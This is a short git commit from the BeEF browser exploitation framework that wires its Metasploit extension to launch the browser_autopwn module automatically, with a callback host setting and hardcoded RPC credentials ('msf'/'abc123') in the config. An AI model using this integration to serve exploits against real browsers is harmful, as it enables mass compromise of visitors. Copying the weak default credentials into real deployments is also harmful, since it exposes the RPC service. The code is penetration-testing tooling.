fixing autopwn

git-svn-id: https://beef.googlecode.com/svn/trunk@1044 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
sussurro@happypacket.net
2011-07-01 22:12:17 +00:00
parent 12e93cd188
commit d3250ee7ea
3 changed files with 24 additions and 2 deletions

View File

@@ -8,9 +8,10 @@ beef:
extension:
metasploit:
enable: true
host: "192.168.84.1"
host: "127.0.0.1"
path: "/RPC2"
port: 55553
user: "msf"
pass: "abc123"
callback_host: "192.168.84.1"
autopwn_url: "autopwn"

View File

@@ -68,6 +68,8 @@ module Metasploit
puts e.message
puts e.backtrace
end
msf.launch_autopwn()
}#thread end
end
end
@@ -76,4 +78,4 @@ module Metasploit
end
end
end
end

View File

@@ -20,6 +20,7 @@ module Metasploit
port = @config.get('beef.extension.metasploit.port')
@un = @config.get('beef.extension.metasploit.user')
@pw = @config.get('beef.extension.metasploit.pass')
@apurl = @config.get('beef.extension.metasploit.autopwn_url') || "autopwn"
@lock = false
if(not host or not path or not port or not @un or not @pw)
@@ -188,6 +189,24 @@ module Metasploit
res['uri'] = uri
res
end
def launch_autopwn
return if not @enabled
opts = {
'LHOST' => @config.get('beef.extension.metasploit.callback_host') ,
'URIPATH' => @apurl
}
get_lock()
begin
res = self.call('module.execute','auxiliary','server/browser_autopwn',opts)
rescue Exception => e
print_error "Failed to launch autopwn\n"
release_lock()
return false
end
release_lock()
end
end